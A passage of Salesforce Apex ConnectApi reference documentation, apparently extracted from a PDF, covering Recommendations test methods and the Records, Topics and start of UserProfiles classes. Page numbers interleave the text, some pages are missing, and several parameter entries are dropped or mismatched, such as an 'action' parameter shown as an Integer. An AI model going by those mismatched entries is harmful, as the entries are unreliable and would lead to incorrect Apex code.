ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer
maxResults, ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.

1259

Reference

Recommendations Class

action

Type: Integer

1260

Reference

Recommendations Class

Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
33.035.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
action, objectCategory, contextAction, contextObjectId, channel, maxResults, result).

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectCategory,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults, ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: ConnectApi.RecommendationActionType

1261

Reference

Recommendations Class

Specifies the action to take on a recommendation.

followFollow a file, record, topic, or user.
joinJoin a group.
viewView a file, group, article, record, user, custom, or static recommendation.
objectCategory

Type: String
If action is follow, objectCategory is users, files, or records.
If action is join, objectCategory is groups.
If action is view, objectCategory is users, files, groups, records,custom, or apps.
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
If action is join, objectCategory is 0F9 (groups).
If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), or 001 (accounts), for example.
contextAction
Type: ConnectApi.RecommendationActionType

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

1262

Reference

Recommendations Class

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
36.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectCategory,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults,
ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: String

1263

Reference

Recommendations Class

If action is follow, objectCategory is users, files, records, or topics.

If action is join, objectCategory is groups.
If action is view, objectCategory is users, files, groups, records,custom, apps, or articles
(version 37.0 and later).
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
If action is join, objectCategory is 0F9 (groups).
If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
Type: ConnectApi.RecommendationActionType

1264

Reference

Records Class

maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code

Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.

Namespace
ConnectApi

Records Methods
The following are methods for Records. All methods are static.
IN THIS SECTION:
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
Returns errors embedded in the results for those users that couldnt be loaded.

getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.

API Version
28.0

1265

Reference

Records Class

Requires Chatter
No

Signature
public static ConnectApi.Motif getMotif(String communityId, String idOrPrefix)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
idOrPrefix

Type: String
An ID or key prefix.

Return Value
Type: ConnectApi.Motif

Usage
Each Salesforce record type has its own set of motif icons. See ConnectApi.Motif.

getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
Returns errors embedded in the results for those users that couldnt be loaded.

API Version
31.0

Requires Chatter
No

Signature
public static ConnectApi.BatchResult[] getMotifBatch(String communityId, List<String>
idOrPrefixList)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1266

Reference

Topics Class

idOrPrefixList

Type: List<String>
A list of object IDs or prefixes.

Return Value
Type: BatchResult[]
The BatchResult.getResults() method returns a ConnectApi.Motif object.

Example
String communityId = null;
List<String> prefixIds = new List<String> { '001', '01Z', '069' };
// Get info about the motifs of all records in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.Records.getMotifBatch(communityId,
prefixIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the color of each motif.
ConnectApi.Motif motif;
if(batchResult.getResult() instanceof ConnectApi.Motif) {
motif = (ConnectApi.Motif) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(motif.color);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}

Namespace
ConnectApi

Topics Methods
The following are methods for Topics. All methods are static.

1267

Reference

Topics Class

IN THIS SECTION:
assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing
topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object
type.
assignTopicByName(communityId, recordId, topicName)
Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing
topics to records or feed items. Only users with the Create Topics permission can add new topics to records or feed items.
Administrators must enable topics for objects before users can add topics to records of that object type.
createTopic(communityId, name, description)
Creates a topic. Only users with the Create Topics permission can create a topic.
deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the Delete Topics or Modify All Data permission can delete topics.
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.
getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.
getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
getTopic(communityId, topicId)
Returns information about the specified topic.
getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before
users can add topics to records of that object type.
getTopics(communityId)
Returns the first page of topics for the organization.
getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.
getTopics(communityId, pageParam, pageSize)
Returns the topics for the specified page.
getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.
getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.
getTopics(communityId, q, pageParam, pageSize)
Returns the topics that match the specified search criteria for the specified page.
getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.

1268

Reference

Topics Class

getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
If there isnt an exact match, returns the most recent renamed topic match.
getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
getTopicSuggestionsForText(communityId, text, maxResults)
Returns suggested topics for the specified string of text.
getTopicSuggestionsForText(communityId, text)
Returns suggested topics for the specified string of text.
getTrendingTopics(communityId)
List of the top five trending topics for the organization.
getTrendingTopics(communityId, maxResults)
List of the top five trending topics for the organization.
mergeTopics(communityId, topicId, idsToMerge)
Merges up to five secondary topics with the specified primary topic.
reassignTopicsByName(communityId, recordId, topicNames)
Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with
the Assign Topics permission can remove topics from records or feed items and add existing topics to records or feed items. Only
users with the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects
before users can add topics to records of that object type.
unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the Assign Topics permission can remove
topics from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object
type.
updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.

assignTopic(communityId, recordId, topicId)

Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics
to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version
29.0

1269

Reference

Topics Class

Requires Chatter
No

Signature
public static ConnectApi.Topic assignTopic(String communityId, String recordId, String
topicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.
topicId

Type: String
The ID for a topic.

Return Value
Type: ConnectApi.Topic

assignTopicByName(communityId, recordId, topicName)

Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics
to records or feed items. Only users with the Create Topics permission can add new topics to records or feed items. Administrators
must enable topics for objects before users can add topics to records of that object type.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Topic assignTopicByName(String communityId, String recordId,
String topicName)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1270

Reference

Topics Class

recordId

Type: String
The ID of the record or feed item to which to assign the topic.
topicName

Type: String
The name of a new or existing topic.

Return Value
Type: ConnectApi.Topic

createTopic(communityId, name, description)

Creates a topic. Only users with the Create Topics permission can create a topic.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.Topic createTopic(String communityId, String name, String
description)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
name

Type: String
The name of the topic.
description

Type: String
The description of the topic.

Return Value
Type: ConnectApi.Topic

deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the Delete Topics or Modify All Data permission can delete topics.

1271

Reference

Topics Class

API Version
29.0

Requires Chatter
No

Signature
public static Void deleteTopic(String communityId, String topicId)

Parameters
communityId

Type: String,
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for a topic.

Return Value
Type: Void

Usage
Topic deletion is asynchronous. If a topic is requested before the deletion completes, the response is 200: Successful and the
isBeingDeleted property of ConnectApi.Topic is true in version 33.0 and later. If a topic is requested after the deletion
completes, the response is 404: NOT_FOUND.

getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
Yes

1272

Reference

Topics Class

Signature
public static ConnectApi.ChatterGroupSummaryPage
getGroupsRecentlyTalkingAboutTopic(String communityId, String topicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for a topic.

Return Value
Type: ConnectApi.ChatterGroupSummaryPage

getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForGroup(String
communityId, String groupId)

1273

Reference

Topics Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.TopicPage

getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForUser(String
communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1274

Reference

Topics Class

userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.TopicPage

getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
Two topics that are assigned to the same feed item at least three times are related.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getRelatedTopics(String communityId, String topicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for a topic.

1275

Reference

Topics Class

Return Value
Type: ConnectApi.TopicPage

getTopic(communityId, topicId)
Returns information about the specified topic.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.Topic getTopic(String communityId, String topicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for a topic.

Return Value
Type: ConnectApi.Topic

1276

Reference

Topics Class

getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before users
can add topics to records of that object type.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String recordId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId)
Returns the first page of topics for the organization.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

1277

Reference

Topics Class

Signature
public static ConnectApi.TopicPage getTopics(String communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, ConnectApi.TopicSort
sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
sortParam
Type: ConnectApi.TopicSort

Values are:
popularDescSorts topics by popularity with the most popular first. This value is the default.
alphaAscSorts topics alphabetically.

Return Value
Type: ConnectApi.TopicPage

1278

Reference

Topics Class

getTopics(communityId, pageParam, pageSize)

Returns the topics for the specified page.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, pageParam, pageSize, sortParam)

Returns the topics for the specified page in the specified order.

API Version
29.0

Available to Guest Users

32.0

1279

Reference

Topics Class

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize, ConnectApi.TopicSort sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.TopicSort

Values are:
popularDescSorts topics by popularity with the most popular first. This value is the default.
alphaAscSorts topics alphabetically.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

1280

Reference

Topics Class

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q,
ConnectApi.TopicSort sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
sortParam
Type: ConnectApi.TopicSort

Values are:
popularDescSorts topics by popularity with the most popular first. This value is the default.
alphaAscSorts topics alphabetically.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, q, pageParam, pageSize)

Returns the topics that match the specified search criteria for the specified page.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize)

Parameters
communityId

Type: String

1281

Reference

Topics Class

Use either the ID for a community, internal, or null.

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, q, pageParam, pageSize, sortParam)

Returns the topics that match the specified search criteria for the specified page in the specified order.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize, ConnectApi.TopicSort sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
pageParam

Type: Integer

1282

Reference

Topics Class

Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.TopicSort

Values are:
popularDescSorts topics by popularity with the most popular first. This value is the default.
alphaAscSorts topics alphabetically.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.

API Version
33.0

Available to Guest Users

33.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Boolean
exactMatch)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
exactMatch

Type: Boolean
Specify true to find a topic by its exact, case-insensitive name.

1283

Reference

Topics Class

Return Value
Type: ConnectApi.TopicPage

getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch,
fallBackToRenamedTopics)
If there isnt an exact match, returns the most recent renamed topic match.

API Version
35.0

Available to Guest Users

35.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopicsOrFallBackToRenamedTopics(String communityId,
String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
exactMatch

Type: Boolean
Specify true to find a topic by its exact, case-insensitive name or to find the most recent renamed topic match if there isnt an
exact match.
fallBackToRenamedTopics

Type: Boolean
Specify true and if there isnt an exact match, the most recent renamed topic match is returned. If there are multiple renamed
topic matches, only the most recent is returned. If there are no renamed topic matches, an empty collection is returned.

Return Value
Type: ConnectApi.TopicPage

1284

Reference

Topics Class

getTopicSuggestions(communityId, recordId, maxResults)

Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.
maxResults

Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.

Return Value
Type: ConnectApi.TopicSuggestionPage

getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.

1285

Reference

Topics Class

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.

Return Value
Type: ConnectApi.TopicSuggestionPage

getTopicSuggestionsForText(communityId, text, maxResults)

Returns suggested topics for the specified string of text.

API Version
29.0

Requires Chatter
No

1286

Reference

Topics Class

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
text

Type: String
String of text.
maxResults

Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.

Return Value
Type: ConnectApi.TopicSuggestionPage

getTopicSuggestionsForText(communityId, text)
Returns suggested topics for the specified string of text.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text)

1287

Reference

Topics Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
text

Type: String
String of text.

Return Value
Type: ConnectApi.TopicSuggestionPage

getTrendingTopics(communityId)
List of the top five trending topics for the organization.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1288

Reference

Topics Class

Return Value
Type: ConnectApi.TopicPage

getTrendingTopics(communityId, maxResults)
List of the top five trending topics for the organization.

API Version
29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId, Integer
maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
maxResults

Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.

Return Value
Type: ConnectApi.TopicPage

1289

Reference

Topics Class

mergeTopics(communityId, topicId, idsToMerge)

Merges up to five secondary topics with the specified primary topic.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.Topic mergeTopics(String communityId, String topicId,
List<String> idsToMerge)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for the primary topic for the merge. If this topic is a managed topic, it retains its topic type, topic images, and children topics.
idsToMerge

Type: List<String>
A list of up to five comma-separated secondary topic IDs to merge with the primary topic. If any of these secondary topics are
managed topics, they lose their topic type, topic images, and children topics. Their feed items are reassigned to the primary topic.

Return Value
Type: ConnectApi.Topic

Usage
Only users with the Delete Topics or Modify All Data permission can merge topics.

1290

Reference

Topics Class

reassignTopicsByName(communityId, recordId, topicNames)

Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with the
Assign Topics permission can remove topics from records or feed items and add existing topics to records or feed items. Only users
with the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects before
users can add topics to records of that object type.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage reassignTopicsByName(String communityId, String
recordId, ConnectApi.TopicNamesInput topicNames)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID of the record or feed item to which to assign the topic.
topicNames
Type: ConnectApi.TopicNamesInput

A list of topics to replace the currently assigned topics. Optionally, a list of suggested topics to assign to improve future topic
suggestions.

Return Value
Type: ConnectApi.TopicPage

unassignTopic(communityId, recordId, topicId)

Removes the specified topic from the specified record or feed item. Only users with the Assign Topics permission can remove topics
from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version
29.0

1291

Reference

Topics Class

Requires Chatter
No

Signature
public static Void unassignTopic(String communityId, String recordId, String topicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.
topicId

Type: String
The ID for a topic.

Return Value
Type: Void

updateTopic(communityId, topicId, topic)

Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Topic updateTopic(String communityId, String topicId,
ConnectApi.TopicInput topic)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String

1292

Reference

Topics Class

The ID for a topic.

topic

Type: ConnectApi.TopicInput
A ConnectApi.TopicInput object containing the name and description of the topic or up to five comma-separated secondary
topic IDs to merge with the primary topic.

Return Value
Type: ConnectApi.Topic

Usage
Only users with the Edit Topics or Modify All Data permission can update topic names and descriptions. Only users with the Delete
Topics or Modify All Data permission can merge topics.

Topics Test Methods

The following are the test methods for Topics. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)

Registers a ConnectApi.ChatterGroupSummaryPage object to be returned when
ConnectApi.getGroupsRecentlyTalkingAboutTopic is called in a test context.

API Version
29.0

Signature
public static Void setTestGetGroupsRecentlyTalkingAboutTopic(String communityId, String
topicId, ConnectApi.ChatterGroupSummaryPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
topicId

Type: String
The ID for a topic.
result

Type: ConnectApi.ChatterGroupSummaryPage
The object containing test data.

1293

Reference

Topics Class

Return Value
Type: Void
SEE ALSO:
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Testing ConnectApi Code

setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)

Registers a ConnectApi.TopicPage object to be returned when the
ConnectApi.getRecentlyTalkingAboutTopicsForGroup method is called in a test context.

API Version
29.0

Signature
public static Void setTestGetRecentlyTalkingAboutTopicsForGroup(String communityId,
String groupId, ConnectApi.TopicPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
result

Type: ConnectApi.TopicPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Testing ConnectApi Code

API Version
29.0

Signature
public static Void setTestGetTopicSuggestions(String communityId, String recordId,
ConnectApi.TopicSuggestionPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or feed item.
result

Type: ConnectApi.TopicSuggestionPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getTopicSuggestions(communityId, recordId)
Testing ConnectApi Code

1297

Reference

Topics Class

setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)

Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
29.0

Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
Integer maxResults, ConnectApi.TopicSuggestionPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
text

Type: String
String of text.
maxResults

Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
result

Type: ConnectApi.TopicSuggestionPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getTopicSuggestionsForText(communityId, text, maxResults)
Testing ConnectApi Code

setTestGetTopicSuggestionsForText(communityId, text, result)

1298

Reference

Topics Class

API Version
29.0

Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
ConnectApi.TopicSuggestionPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
text

Type: String
String of text.
result

Type: ConnectApi.TopicSuggestionPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getTopicSuggestionsForText(communityId, text)
Testing ConnectApi Code

setTestGetTrendingTopics(communityId, result)
Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature
public static Void setTestGetTrendingTopics(String communityId, ConnectApi.TopicPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1299

Reference

Topics Class

result

Type: ConnectApi.TopicPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getTrendingTopics(communityId)
Testing ConnectApi Code

setTestGetTrendingTopics(communityId, maxResults, result)

Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature
public static Void setTestGetTrendingTopics(String communityId, Integer maxResults,
ConnectApi.TopicPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
maxResults

Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
result

Type: ConnectApi.TopicPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getTrendingTopics(communityId, maxResults)
Testing ConnectApi Code

1300

Reference

UserProfiles Class

UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user
information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are
custom tabs on the profile page.

Namespace
ConnectApi

UserProfiles Methods
The following are methods for UserProfiles. All methods are static.
IN THIS SECTION:
deleteBannerPhoto(communityId, userId)
Delete a user banner photo.
deletePhoto(communityId, userId)
Deletes the specified users photo.
getBannerPhoto(communityId, userId)
Get a user banner photo.
getPhoto(communityId, userId)
Returns information about the specified users photo.
getUserProfile(communityId, userId)
Returns the user profile of the context user.
setBannerPhoto(communityId, userId, fileId, versionNumber)
Set the user banner photo to an already uploaded file.
setBannerPhoto(communityId, userId, fileUpload)
Set the user banner photo to a file that hasnt been uploaded.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
Set and crop an already uploaded file as the user banner photo.
